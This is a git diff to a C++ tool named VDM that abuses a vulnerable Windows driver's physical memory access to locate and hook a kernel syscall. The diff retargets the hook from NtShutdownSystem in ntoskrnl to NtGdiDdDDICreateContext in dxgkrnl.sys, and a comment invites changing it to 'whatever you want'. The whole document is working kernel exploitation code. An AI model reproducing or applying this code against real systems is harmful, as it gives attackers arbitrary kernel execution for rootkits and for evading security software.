diff --git a/VDM/main.cpp b/VDM/main.cpp index aef75e2..fe6427d 100644 --- a/VDM/main.cpp +++ b/VDM/main.cpp @@ -29,8 +29,8 @@ int __cdecl main(int argc, char** argv) ntoskrnl_base, sizeof mz_bytes ); - std::printf("[+] kernel MZ -> 0x%x\n", mz_bytes); + std::printf("[+] kernel MZ -> 0x%x\n", mz_bytes); if (!vdm::unload_drv(drv_handle, drv_key)) { std::printf("[!] unable to unload vulnerable driver...\n"); diff --git a/VDM/vdm_ctx/vdm_ctx.cpp b/VDM/vdm_ctx/vdm_ctx.cpp index 2416d68..a5a1119 100644 --- a/VDM/vdm_ctx/vdm_ctx.cpp +++ b/VDM/vdm_ctx/vdm_ctx.cpp @@ -4,18 +4,19 @@ namespace vdm { vdm_ctx::vdm_ctx() { + LoadLibraryA("user32.dll"); // required for win32u.dll... + vdm::dxgkrnl_buffer = reinterpret_cast( + LoadLibraryEx("drivers\\dxgkrnl.sys", NULL, + DONT_RESOLVE_DLL_REFERENCES)); + nt_rva = reinterpret_cast( util::get_kernel_export( - "ntoskrnl.exe", + "dxgkrnl.sys", syscall_hook.first, true )); - nt_page_offset = nt_rva % PAGE_4KB; - ntoskrnl_buffer = reinterpret_cast( - LoadLibraryEx("ntoskrnl.exe", NULL, - DONT_RESOLVE_DLL_REFERENCES)); - + vdm::nt_page_offset = nt_rva % PAGE_4KB; // for each physical memory range, make a thread to search it std::vector search_threads; for (auto ranges : util::pmem_ranges) @@ -50,7 +51,7 @@ namespace vdm // check the first 32 bytes of the syscall, if its the same, test that its the correct // occurrence of these bytes (since ntoskrnl is loaded into physical memory at least 2 times now)... - if (!memcmp(page_data + nt_page_offset, ntoskrnl_buffer + nt_rva, 32)) + if (!memcmp(page_data + nt_page_offset, dxgkrnl_buffer + nt_rva, 32)) if (valid_syscall(reinterpret_cast(address + page + nt_page_offset))) syscall_address.store( reinterpret_cast( @@ -67,7 +68,7 @@ namespace vdm static const auto proc = GetProcAddress( - GetModuleHandleA(syscall_hook.second), + LoadLibraryA(syscall_hook.second), syscall_hook.first ); diff --git a/VDM/vdm_ctx/vdm_ctx.h b/VDM/vdm_ctx/vdm_ctx.h index 0ccc318..9ff67e3 100644 --- a/VDM/vdm_ctx/vdm_ctx.h +++ b/VDM/vdm_ctx/vdm_ctx.h @@ -10,13 +10,15 @@ namespace vdm { - constexpr std::pair syscall_hook = { "NtShutdownSystem", "ntdll.dll" }; + // change this to whatever you want :^) + constexpr std::pair syscall_hook = { "NtGdiDdDDICreateContext", "win32u.dll" }; + inline std::atomic is_page_found = false; inline std::atomic syscall_address = nullptr; inline std::uint16_t nt_page_offset; inline std::uint32_t nt_rva; - inline std::uint8_t* ntoskrnl_buffer; + inline std::uint8_t* dxgkrnl_buffer; class vdm_ctx { @@ -27,7 +29,7 @@ namespace vdm { static const auto proc = GetProcAddress( - GetModuleHandleA(syscall_hook.second), + LoadLibraryA(syscall_hook.second), syscall_hook.first );